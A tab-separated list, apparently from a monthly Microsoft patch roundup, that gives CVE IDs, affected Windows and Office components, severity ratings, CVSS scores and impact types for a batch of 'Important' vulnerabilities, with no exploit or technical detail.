CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
